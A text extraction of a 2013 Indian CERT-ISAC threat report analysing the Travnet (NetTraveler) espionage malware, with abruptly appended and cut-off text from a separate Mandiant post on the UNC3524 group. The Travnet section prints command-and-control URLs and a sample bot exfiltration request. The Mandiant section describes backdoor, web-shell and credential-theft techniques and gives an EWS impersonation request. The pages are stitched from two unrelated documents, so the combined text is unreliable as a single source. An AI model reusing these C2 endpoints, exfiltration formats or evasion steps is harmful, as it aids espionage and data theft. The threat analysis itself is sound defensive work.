Anti-virus from www.researchbundle.com PART ONE Hunter or the hunted? : CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART ONE: HUNTER OR HUNTED? Attacks Cyber threats against India www. ResearchBundle.com The recent Operation Hangover report from Normans Malware Detection Team has projected India as an emerging APT actor. The report goes on to document a detailed analysis of targeted malware and lists a small number of Indian-based companies that were potentially threat actors involved in the campaign. While the Hangover report itself has been widely debated in the Indian Information Security community, there is little proof, beyond circumstantial evidence provided in the Norman report, that Indian actors were behind this APT campaign, and the larger concern remains that India is the victim of numerous APT campaigns, rather than an instigator of this threat. As our Government is rapidly migrating towards e-governance, it is vital to ensure a robust approach to data security is implemented from an early stage to prevent misuse and subsequent attacks on critical infrastructure and the national economy. A quick look at Indias history with respect to battling cyber threats, reveals an age- old on-going war between the hackers from various Nations. Defacement of Indian government sites date back to the year 2003 even today, they continue to happen. In this report, we analyse the various facts and provide in-depth analysis of an Advanced persistent threat attack on India that makes us ask Are we the hunter or the hunted? How is this report organized? Part one Hunter or the Hunted? Part two Advanced persistent threat - analysis Part three - Primary Causes Part four - Recommendations APT campaigns against India Advanced persistent threat or APT as it is known, is a reality today. Unlike the regular script-kiddie attacks that are carried out usually for fun or for fame, APTs are serious campaigns, undertaken by groups with a variety of skill-sets. The focus of an APT campaign usually is to gather valuable information against specific companies / organizations or selected sectors of a country. These usually begin with highly targeted spear-phishing attacks. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Malware Distribution in India Out of 25,935 websites scanned by Google, 14 websites were infected by Malware. Overview of attacks on India from 26th May 2013 to 26th June 2013 AS Attack Sites Attacked and compromised websites from TATA Communications CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from Web Werks Attacked and compromised websites from Net Magic Datacenter Mumbai CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from Ctrl-S Datacenter Attacked and compromised websites from Net4India CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from National Informatics Center (NIC) Statistics from CERT-IN To make some sense of the current scenario of cyber security in India, lets have a look at some of the statistics published by CERT-India. The following table should give us a good idea of how things are shaping up. Activity 2006 2007 2008 2009 2010 2011 Security Incidents handled 552 1237 2565 8266 10315 13301 Security Alerts issued 48 44 49 29 43 48 Advisories Published 50 66 76 61 72 81 Vulnerability Notes Published 138 163 197 157 274 188 Security Guidelines Published 1 1 1 0 1 4 White papers/Case Studies Published 2 2 1 1 1 3 Trainings Organized 7 6 18 19 26 26 Indian Website Defacements tracked 5211 5863 5475 6023 14348 17306 Open Proxy Servers tracked 1837 1805 2332 2583 2492 3294 Bot Infected Systems tracked 0 25915 146891 3509166 6893814 6277936 Its not surprising to note that the threats are increasing at an alarming rate, year after year. In a way, its heartening to observe the CERT evolve rise upto newer challenges latest threats. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Unfortunately, its not enough. The reports submitted by CERT do not take into account the most fundamental aspects of maintaining a state of secure IT environment. This fact is evident from the number of security incidents that happen over an year how the right authorities react to them. If every reported incident was handled properly by identifying the root cause, followed by a full security audit, we wonder if the numbers would grow so fast. As mentioned earlier, cases of government sites being defaced date back to 2003. Even today, one can find servers running older vulnerable versions of software, poor server management, web applications deployed on these servers being designed implemented by programmers who lack awareness of secure coding practices, to name a few. The private sector though, is much more cautious alert when it comes to their IT infrastructure compared to the government. Attack on Indian IT Infrastructure: Zone-H Statistics Lets analyse the state of governments IT infrastructure in the following pages. While the statistics presented by CERT-In looks alarming by itself, the actual state of domains that end with gov.in, is much worse. A quick look at the following recent screenshot of www.zone-h.org site provides some shocking insight. According to the site, the current statistics are as follows: Total Notifications : 1299 Mass defacements : 753 http://www.zone-h.org/ CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART TWO: ADVANCED PERSISTENT THREAT CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART TWO: ADVANCED PERSISTENT THREAT - ANALYSIS The Travnet Case A recent incident that caught our attention was the Travnet case. We carried out a preliminary analysis of our own on the subject. Kaspersky as well as McAfee amongst others, have published detailed analysis of the malware the campaign. Our focus was to understand the nature of the group behind the attack its agenda. It began with Kasperskys revelation of the attack. We recommend you to go through Kaspersky McAfees analysis of the malware to know more about the spear phishing campaign the exploits used. Our analysis is currently focussed only on the malware samples that are dropped on the target systems, as the exploits used during the spear-phishing campaign are older already patched by the respective vendors. To summarize the modus operandi of the attack, targeted phishing mails were sent to individuals, having Office documents as attachments. These documents exploited previously known vulnerabilities ( CVE-2012-0158 and CVE-2010-3333 ) to drop Travnet malware onto the systems. Its fascinating to note that the attachments that were sent to Indian targets were carefully selected some of them were named as follows: Army Cyber Security Policy 2013.doc Jallianwala bagh massacre a deeply shameful act.doc Report - Asia Defense Spending Boom.doc His Holiness the Dalai Lamas visit to Switzerland day 3.doc BJP wont dump Modi for Nitish NDA headed for split.doc As its evident, the group behind the attack obviously has done extensive research on topics that are current as well as intriguing to the Indian targets. We managed to acquired 2 variants of the Travnet malware our analysis of the same is as follows. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Travnet Technical Analysis: Part A File details : Filename travnet_A.exe MD5 d286c4cdf40e2dae5362eff562bccd3a SHA1 25ac3098261df8aa09449a9a4c445c91321352af SHA256 a75fdd9e52643dc7a1790c79cbfffe9348f80a9b0984eafd90723bf7ca68f4ce Filesize 97792 bytes Filetype PE32 executable (GUI) Intel 80386, for MS Windows A quick analysis by PEiD reveals that the binary is not packed or protected. It begins by creating a new mutex object, named INSTALL SERVICES NOW. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Next step is to create a configuration file named config_t.dat in the windows system folder. It then populates it with the right CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com parameters, after decoding them. After the configuration file is written, it checks if the malware was previously installed or not, if not, it creates a dynamic-link library in the system32 folder, creates a temporary batch file named as temp.bat which installs the previous DLL as a service on the system. The name of the DLL that is created, is based upon the values of the data from netsvcs from the following registry key : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. During this runtime, it turned out to be 6to4ex.dll but it can change from runtime to runtime. The malware then deletes the batch file. Its obvious that this executable basically acts as a dropper. The contents of the batch file the configuration file generated are as follows. Batch file : temp.bat Configuration file : config_t.dat CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Next section focuses on the analysis of the DLL (6to4ex.dll) that was dropped by this executable. Analysis of 6to4ex.dll File Details Filename 6to4ex.dll MD5 452660884ebe3e88ddabe2b340113c8a SHA1 b80d436afcf2f0493f2317ff1a38c9ba329f24b1 SHA256 ed6ad64dad85fe11f3cc786c8de1f5b239115b94e30420860f02e820ffc53924 Filetype PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Filesize 46592 bytes CC url http://www.newesyahoo.com/traveler1/net/nettraveler.asp A quick analysis by PEiD reveals that the binary is not packed or protected. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Now, as we know already, this DLL was installed as a service by the previous dropper. Analysis of the ServiceMain function of the DLL throws light on many interesting things. The first thing it does upon execution is to create a new mutex object named NetTravler Is Running. Its usually done to avoid running multiple instances of the same malware. Next, it reads the configuration file. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Additionally, it also creates few interesting files in the system32 folder. The filenames are quite indicative of what their contents might be. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com enumfs.ini as the name suggests, is a complete list of all files and folders on the computer. dnlist.ini seems to be noting down the date time. system_t.dll on the other hand, contains a broad category of sensitive information about the computer like the Computer Name, Windows version, IP address, list of running processes, network information so on. The contents of the files are as follows Filename : system_t.dll Upon proper character encoding use of googles Translate feature, it turns out to be Chinese. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Filename : enumfs.ini Filename : dnlist.ini Another interesting aspect of Travnet is that it can specifically search for files of the type doc, docx, xls, xlsx, txt, rtf, pdf on the victim machine. This provides enough hint that this malware was designed to steal confidential information unlike the usual botnet variants that focus primarily on providing remote access to the system or to act as zombies for launching DDOS attacks. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com To summarize, the Travnet malware initially collects system information, a list of files on the victim machine among others, then sends this data to the remote Command Control (CC) server, by using custom compression encoding functions. The malware creates a new file with the naming convention as follows : travlerbackinfo-d-d-d-d-d.dll, where the signed integer values are replaced by the current system date time, copies the content of system_t.dll into it then, uploads it to the CC. It also uploads the list of files found on the victim machine, which was saved in the enumfs.ini file to the remote server, by copying its contents to a new file, named following this format: CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com FileList-02u02u-02u02u02u.ini It doesnt stop at that, it even uploads the victims files onto the remote CC that have the file extensions doc, docx, xls, xlsx, txt, rtf, pdf as well as the files on the victims desktop folder. Another important aspect of Travnet is the fact that it uses a custom compression encoding algorithm on the data collected, before its sent to the remote CC. A typical file upload communication between the bot the CC looks like this: CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com An actual HTTP GET request looks like this: http://www.newesyahoo.com/traveler1/net/nettraveler.asp?hostid00CD1A40hostnameComputerNameho stip127.0.0.1filenameFileList-0523- 131103.inifilestart0filetextbegin::RgAxAC2QzebTgdToZTkXQaCicYTaZR72HWSigYTPHjEZDUZTvgBrOEmQ0 nIxm86m46D0YTg::end Here, the data between begin:: ::end is the actual file content, that was compressed encoded by the bot. It seems that this older variant of the Travnet malware supported 4 different types of commands from the remote CC and they are as follows: UNINSTALL UPDATE RESET UPLOAD CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com That concludes Part-A of our Travnet analysis. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Travnet Technical Analysis: Part B File details : Filename travnet_B.exe MD5 9d22897b05261ad66645887b094a43c7 SHA1 dc63b4b9ee2f8486b96ce62be4a31e041d422ef7 SHA256 e547e8a8bc27d65dca92bc861be82e1c94b9c9aca8a2b75381e9b16e4ad89600 Filetype PE32 executable (GUI) Intel 80386, for MS Windows Filesize 102400 bytes CC Url http://www.viprambler.com/newsinfo/uld/nettraveler.asp A quick analysis by PEiD reveals that the binary is not packed or protected. This executable is apparently an updated variant of Travnet. The major changes are as follows: Its an executable not a DLL. The compression algorithm has been modified. It tries to install itself on the victim machine to achieve persistence instead of dropping other payloads. Supports just 2 instructions from the CC instead of 4, like in the previous version. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Apart from these, there isnt much difference. The following analysis only focuses on what has changed. It achieves persistence by copying itself to the currently logged-in users temp folder as csmss.exe placing a shortcut to it, named as seruvice.lnk in the startup folder. The next step it to create a new mutex object to avoid running multiple instances. It names the mutex as Assassin. After this, it generates a unique 8 characters long hostid, based on volume serial number to identify the bot. This is common to the previous variant too. Then it checks if the victim machine is connected to the internet or not, by trying to resolve smtp.live.com if that fails, as a second attempt, smtp..yahoo.com. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com The strings displayed above, are actually in Chinese turn out to be : You can connect to the network. Unable to connect to the network. Unlike the previous variant, this one doesnt seem to collect sensitive information about the victim machine. It just makes a list of all files folders on the victim machine dumps it into a file named as AllIndex.ini. Next step is to compress the contents of this file, copy the compressed content to a new file named as AllIndex.ini_d then delete the previously created clear-text file. The contents of both the files are as follows: Filename : AllIndex.ini CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Filename : AllIndex.ini_d Its pretty obvious that the compression ratio achieved by the custom algorithm is quite high from the following image: Apart from that, this variant also creates a file that lists all the currently running processes on the victim machine, into a text file named Process.dll inside the currently logged-on users temp folder. This variant also uses a modified naming convention to upload files onto the remote CC. The only other major difference from the previous variant is the fact that this one only supports 2 commands from the remote CC server, instead of 4 they are as follows: Uninstall Upload CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com The CC server in case of this variant was located at : http://www.viprambler.com/newsinfo/uld/nettraveler.asp Travnet Technical Analysis : Part C Apart from analyzing the malware samples, we also tried to gather as much information about the CC servers as we could. The fact that even after a lot of research papers being published on the analysis of the Travnet malware, some of the CC servers are still active functioning, is noteworthy. We were able to locate a few of them. The ones that caught our attention are currently hosted on these domains : www.pkspring.net www.viprambler.com http://www.viprambler.com/newsinfo/uld/nettraveler.asp http://www.viprambler.com/ CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Lets start with the analysis of www.viprambler.com. WHOIS record for the domain currently is as follows: Registrant information for the domain is as follows : http://www.viprambler.com/ CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Our analysis strongly suggests that the group behind Travnet might be from China. The above record is just one of the findings that supports the claim. Its interesting to note that the domain was recently registered, is locked expires in 2014. Another interesting observation is the address of the registrant. Guangdong province from China seems to pop up everywhere. Its also noteworthy that the domain is still active still hosting the Travnet CC. Weve also observed that the CC now remains active only during specific time of the day. The time-stamp from the images below, confirms this. Active response from the CC : CC server refusing connection later on the same day : CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Its obvious that even after the discovery of the malware, the group behind this specific attack is determined to keep it alive. The Travnet malware as well as its CC infrastructure is constantly evolving. Lets move onto the next active domain. The Travnet CC hosted at pkspring.net seems to be fully functional active all the time. The response from the server when opened from a browser is as follows: Another interesting finding is the fact that it hosts Travnet CC on 3 different ports on the server. They are as follows: 80 443 8080 Its evident from the following pictures. Port 443 CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Port 8080 Moving on, we found out that 21 domains are hosted on the same server at the moment. And all of them are active CC servers for the Travnet malware. They also seem to have interesting domain names. Its an indication of the seriousness of the campaign. Other domains hosted owned by the same group on the same server/IP : CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com The image below proves that all of the above domains serve the same Travnet CC on the same 3 ports, each. After this, we focused our attention on the WHOIS details of these domains. At the moment, the details of the registrant is kept private it was recently updated. Its also interesting to note that the group behind this has ensured that the domain cannot be taken over by someone else. The following page contains the current WHOIS data for the domain. Pkspring.net WHOIS data (Recent) CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Registrant details for the domain : Nothing much to go on there at the moment. But thanks to older WHOIS records, we found out some interesting facts. The same domain was earlier registered as follows: CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com It was apparently created on 20-march-2009 its expiration date was set to 20-march-2013. The registrants information at that time was as follows: The above data seems familiar. The only difference now being that the domains have be renewed, registration details kept private the email ID of the registrant has changed from livep92hotmail.com to chenjmsina.com, which belongs to a private Chinese mail service (http://mail.sina.com.cn/) . The same thing mailto:livep92hotmail.com mailto:chenjmsina.com http://mail.sina.com.cn/ CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com has happened with other publicly disclosed Travnet CC domains. We also fetched details of another domain that previously hosted Travnet CC has been recently renewed, most likely by the same group. A search for the email livep92hotmail.com led us to the following page : The above listed domains are already known to have hosted the Travnet CC. We did some research on the current status of one of the domains from the above list, discoverypeace.org. The current WHOIS data for the domain discoverypeace.org is as follows: mailto:livep92hotmail.com CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com This looks strikingly similar to the current status of the active CC domain pkstring.net. It was also recently updated. The older WHOIS entry for the same domain was as follows : CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Conclusion of Travnet Analysis: From our analysis of the Travnet malware so far, its quite evident that many things hint at the origin of this campaign to be from China. Its also a known fact the Indian government other important sectors from India were heavily targeted during this campaign. T The fact that this was a highly targeted attack focused on stealing confidential documents sensitive information makes it noteworthy. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART THREE: PRIMARY CAUSES CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART THREE: PRIMARY CAUSES What are the primary causes of weak Indian Cyber Space? Use of Outdated Software on Government Websites Another interesting finding is the fact that many of the servers that host gov.in sites are running outdated software versions. As an example, from the above image, it is evident that the domain karnataka.gov.in is hosted on a server running Windows Server 2003, on 22-June-2013. To confirm this, we ran an nmap scan its not surprising to find out that the information is true. The screenshot of our nmap scan is as follows: While use of outdated software is one of the major concerns, it seems most of the Indian government sites are riddled with vulnerable code too. Its quite common to locate webshells on these sites. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Webshells on Indian Websites One of the many live webshells we found recently during our analysis is shown in the following image: From the time-stamps on the above image, its evident that this is webshell is still active at the time of this this writing. An example of a government site thats not properly managed discloses highly sensitive information is as follows: CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com The above screenshot is just one of the many live examples of poorly managed web servers that do not follow even the most basic web application security guidelines. Even important government sites, access to which can lead to much deeper intrusion seem to be managed with little care. The following image is just one of the examples of developing or customizing a CMS not properly handling access-control. While defacements are usually carried out by hackers just for fun or fame, in a way its a boon in disguise. Serious hackers can cause much more damage remain unnoticed for a very long time by having access to the privileges these hackers abuse to deface the site. Slowly but steadily, serious APT campaigns are on the rise. Its very important for the nation to start upgrading its IT infrastructure keep up with the latest security guidelines practices. The next part of this research paper focuses on a recent APT campaign against multiple countries including India was targeted. While each and every technical cause for weak Indian Cyber space is beyond the scope of this document, we also believe that India requires a strong policy driven approach along with inspiring leadership from thought leaders and Government departments in Information security to bring the much needed change. CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART FOUR: RECOMMENDATIONS CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com PART FOUR: RECOMMENDATIONS We recommend the following Policy on Domain Name acquisition, management maintenance The Domain name acquisition, management and maintenance policy should address the process to protect and manage the crucial online identities of Indian Government Domains. At present there is no consistent policy to acquire and manage the domains. The policy should address: 1. Naming convention to be followed for official Government domains to prevent misuse by domain squatters 2. A Government body that is responsible to register, administer and manage the domains 3. Consistent working administrative and management contacts for WHOIS query 4. Systematic policy to acquire domains and renew them on timely basis 5. A policy to ensure Domain Authorization keys are managed properly and maintained in proper chain of custody, secured in a bank locker and handled with systematic process Policy on Vendor qualification for secure website development It is crucial to select the right vendors for developing security websites and web applications for all Government projects. The policy should address: 1. Qualification parameters for selection of vendor for web site and web application development 2. Certified Staff by vendor working on Government projects for Information security and secure coding 3. Quarterly vulnerability assessment and penetration testing of all websites 4. Security Classification of websites that determine parameters of vendor approval 5. Comprehensive development and support contract from vendor that covers data security and associated penalties in event of breach Policy on Patch Management While it is possible that such a policy exits with organizations such as NIC, it is important to ensure these are implemented in a timely manner. The policy on patch management must ensure outdated software must be secured appropriately and updated as per Industry standards. The policy must address: 1. Adequate test bed environment for testing new updates for software, patches etc 2. Comprehensive UAT (User Acceptance Testing) before implementation of critical security patches 3. Policy to ensure critical security updates are deployed within a specified time from date of release 4. Backup of data and roll back methodologies in event of patch deployment issues 5. Monitoring of critical updates and patches and appropriate classification of the same for deployment CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Policy, Process and Guidelines on Full disclosures India has a strong community of Information security experts who can support the Indian Government and strengthen overall security of our cyber space. As the nature of such community is dynamic and rapidly evolving, it is important for the Indian Government to setup a policy and process for responsible full disclosures when Indian citizens report possible vulnerabilities in critical digital assets of India. These must address: 1. Process by which any citizen of India can safely submit and report vulnerabilities, full disclosures in Indian websites to an authorized agency without fearing action of IT Act law 2. Guidelines under which, the security experts from the Indian community can communicate, assist and support law enforcement and responsible agencies in effectively addressing security gaps in Indian Cyber space. 3. Process to act on security incidents reported by the security community in a timely manner. 4. Guidelines to industry at large on how to cooperate with security experts who disclose security issues in their organizations 5. Guidelines to the citizens on being Cyber aware and how to help the Government in securing the economy of the country from malicious hackers Role of National Security Database National Security Database (NSD) is a prestigious empanelment program awarded to credible trustworthy Information security experts with proven skills to protect the National Critical Infrastructure economy of the country. The National Security Database project has been generously endorsed and supported by NTRO and CERT and has been playing an important role in raising the cyber safety awareness across the Nation as well as engaging the community in improving the overall cyber space of India. We sincerely believe that in coming years, the program will create a strong and credible cyber workforce that can help the Indian Government in both offense and defence of its Cyber Space. References: http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf http://blogs.mcafee.com/mcafee-labs/travnet-botnet-controls-victims-with-remote-admin-tool https://www.virustotal.com/en/ip-address/182.50.130.68/information/ http://www.threatexpert.com/report.aspx?md50f23c9e6c8ec38f62616d39de5b00ffb http://www.deccanchronicle.com/130608/news-current-affairs/article/india-loses-22gb-data-cyber-attack http://newindianexpress.com/nation/Cyber-defences-are-not-robust-enough/2013/06/16/article1636933.ece http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf http://blogs.mcafee.com/mcafee-labs/travnet-botnet-controls-victims-with-remote-admin-tool https://www.virustotal.com/en/ip-address/182.50.130.68/information/ http://www.threatexpert.com/report.aspx?md50f23c9e6c8ec38f62616d39de5b00ffb http://www.deccanchronicle.com/130608/news-current-affairs/article/india-loses-22gb-data-cyber-attack http://newindianexpress.com/nation/Cyber-defences-are-not-robust-enough/2013/06/16/article1636933.ece 1/9 UNC3524: Eye Spy on Your Email mandiant.com/resources/unc3524-eye-spy-email Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from victim environments, especially as it relates to their support of suspected espionage objectives. Email messages and their attachments offer a rich source of information about an organization, stored in a centralized location for threat actors to collect. Most email systems, whether on- premises or in the cloud, offer programmatic methods to search and access email data across an entire organization, such as eDiscovery and the Graph API. Mandiant has observed threat actors use these same tools to support their own collection requirements and to target the mailboxes of individuals in victim organizations. In this blog post, we introduce UNC3524, a newly discovered suspected espionage threat actor that, to date, heavily targets the emails of employees that focus on corporate development, mergers and acquisitions, and large corporate transactions. On the surface, their targeting of individuals involved in corporate transactions suggests a financial motivation however, their ability to remain undetected for an order of magnitude longer than the average dwell time of 21 days in 2021, as reported in M-Trends 2022, suggests an espionage mandate. Part of the groups success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim environments that do not support security tools, such as anti-virus or endpoint protection. The high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet set this group apart and emphasize the advanced in Advanced Persistent Threat. UNC3524 also takes persistence seriously. Each time a victim environment removed their access, the group wasted no time re-compromising the environment with a variety of mechanisms, immediately restarting their data theft campaign. We are sharing the tools, tactics, and procedures used by UNC3524 to help organizations hunt for and protect against their operations. Attack Lifecycle Initial Compromise and Maintain Presence After gaining initial access by unknown means, UNC3524 deployed a novel backdoor tracked by Mandiant as QUIETEXIT, which is based on the open-source Dropbear SSH client-server software. For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque network appliances within the victim environment think backdoors on SAN arrays, load balancers, and wireless access point controllers. These kinds of devices dont support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating systems to vendors to manage. These appliances are often running older versions of BSD or CentOS and would require considerable planning to compile functional malware for them. By targeting trusted systems within victim environments that do not support any type of security tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months. QUIETEXIT works as if the traditional client-server roles in an SSH connection were reversed. Once the client, running on a compromised system, establishes a TCP connection to a server, it performs the SSH server role. The QUIETEXIT component running on the threat actors infrastructure initiates the SSH connection and sends a password. Once the backdoor establishes a connection, the threat actor can use any of the options available to an SSH client, including proxying traffic via SOCKS. QUIETEXIT has no persistence mechanism however, we have observed UNC3524 install a run command (rc) as well as hijack legitimate application-specific startup scripts to enable the backdoor to execute on system startup. Figure 1: How QUIETEXIT works with IoT devices https://www.mandiant.com/resources/unc3524-eye-spy-email https://docs.microsoft.com/en-us/microsoft-365/compliance/ediscovery?viewo365-worldwide https://docs.microsoft.com/en-us/graph/overview https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 https://www.mandiant.com/resources/m-trends-2022 2/9 On startup, QUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails. During our incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file system. In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various filesystems to the NAS. When run with command line arguments -X -p port the malware connects to a hard-coded command and control (C2) address on the specific port. If this fails, it will attempt to connect to a second hard coded C2 if one is configured. The user can also specify a hostname or IP address on the command line in the -p argument as well, e.g. -X -p host:port .The -X command line argument is case sensitive. If the lower-case x option is used, then the malware will only attempt to connect to the C2 server once. If the upper-case X option is used, then the malware will sleep for a random number of minutes between a hard-coded time range and fork to reattempt the connection. It re-attempts the connection regardless of whether a connection has already been established. In our investigations we observed UNC3524 use C2 domains that intended to blend in with legitimate traffic originating from the infected appliances. Using the example of an infected load balancer, the C2 domains contained strings that could plausibly relate to the device vendor and branded operating system name. This level of planning demonstrates that UNC3524 understands incident response processes and tried to make their C2 traffic appear as legitimate to anyone that might scroll through DNS or session logs. All QUIETEXIT C2 domains that Mandiant observed used Dynamic DNS providers. Dynamic DNS allows for threat actors to update the DNS records for domains in a near seamless fashion. When the C2s where inactive, the threat actor had the domains resolve to 127.0.0.1. However, occasionally the port numbers would change or VPS infrastructure would be used rather than compromised camera botnet. We suspected that when the threat actor experienced issues accessing a victim, they would troubleshoot using new infrastructure or different ports. In some cases, the threat actor deployed a secondary backdoor as a means of alternate access into victim environments. This alternate access was a REGEORG web shell previously placed on a DMZ web server. REGEORG is a web shell that creates a SOCKS proxy, keeping with UNC3524s preference for tunneling malware. Once inside the victim environment, the threat actor spent time to identify web servers in the victim environment and ensure they found one that was Internet accessible before copying REGEORG to it. They also took care to name the file so that it blended in with the application running on the compromised server. Mandiant also observed instances where UNC3542 used timestomping to alter the Standard Information timestamps of the REGEORG web shell to match other files in the same directory. UNC3542 only used these web shells when their QUIETEXIT backdoors stopped functioning and only to re-establish QUIETEXIT on another system in the network. Rather than use the public version of REGEORG published by Sensepost, UNC3542 used a still public but little-known version of the web shell that is heavily obfuscated. This allowed them to bypass common signature-based detections for REGEORG. Move Laterally Once UNC3524 established a foothold in the network they demonstrated a very low malware footprint and instead relied on built-in Windows protocols. During our incident response investigations, we traced most accesses to a victim appliance infected with QUIETEXIT. QUIETEXIT supports the full functionality of SSH, and our observation is consistent with UNC3524 using it to establish a SOCKS tunnel into the victim environments. By standing up a SOCKS tunnel, the threat actor effectively plugs in their machine to an ethernet jack within the victims network. By tunneling over SOCKS, the threat actor can execute tools to steal data from their own computer, leaving no traces of the tooling itself on victim computers. Figure 2: Tunneling through QUIETEXIT https://advantage.mandiant.com/malware/malware--33065e77-067e-5554-a325-86f0e95968dc 3/9 To perform lateral movement to systems of interest, UNC3524 used a customized version of Impackets WMIEXEC. WMIEXEC uses Windows Management Instrumentation to establish a semi-interactive shell on a remote host. The utility provides a semi-interactive shell by writing command outputs to a file on the remote host and then printing the output to the terminal. The default Impacket version uses a hardcoded file path and filename structure for these output files, providing a detection opportunity. Mandiant has observed UNC3524 modifying the hardcoded file path (\\127.0.0.1\ADMIN\debug\DEBUG.LOG) to evade basic detections for filenames such as Impackets default double underscore files. We also observed the threat actor using the built-in reg save command to save registry hives and extract LSA secrets offline. Complete Mission Once UNC3524 successfully obtained privileged credentials to the victims mail environment, they began making Exchange Web Services (EWS) API requests to either the on-premises Microsoft Exchange or Microsoft 365 Exchange Online environment. In each of the UNC3524 victim environments, the threat actor would target a subset of mailboxes, focusing their attention on executive teams and employees that work in corporate development, mergers and acquisitions, or IT security staff. Its likely that the threat actor was targeting the IT security team as a method to determine if their operation had been detected. The methods that UNC3524 used to authenticate to the Exchange infrastructure evolved throughout the course of the intrusions this may be a result of them periodically losing access due to the natural changes in corporate infrastructure or simply updating their tactics. They authenticated to Exchange using the username and password of targeted accounts, using accounts holding ApplicationImpersonation rights, or using Service Principal credentials. Each of these methods, their detections, and configuration recommendations can be found at Mandiants UNC2452 Microsoft 365 Hardening Guide. Once authenticated to the exchange infrastructure, UNC3524 made a series of EWS API requests to extract mail items from the target mailbox. For each mailbox, the threat actor made a series of GetFolder and FindFolder requests that returned data describing the mailbox, such as the number of unread messages and sub-folders within the specified folder. Figure 3: Sample EWS GetFolder request ? xml version1.0 encodingutf-8? soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types soap:Header t:RequestServerVersion VersionExchange2013 / t:ExchangeImpersonation t:ConnectingSID t:PrimarySmtpAddresstargetvictimorg.com/t:PrimarySmtpAddress /t:ConnectingSID /t:ExchangeImpersonation /soap:Header soap:Body GetFolder xmlnshttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types FolderShape t:BaseShapeDefault/t:BaseShape /FolderShape FolderIds t:DistinguishedFolderId IdRoot/ /FolderIds /GetFolder /soap:Body 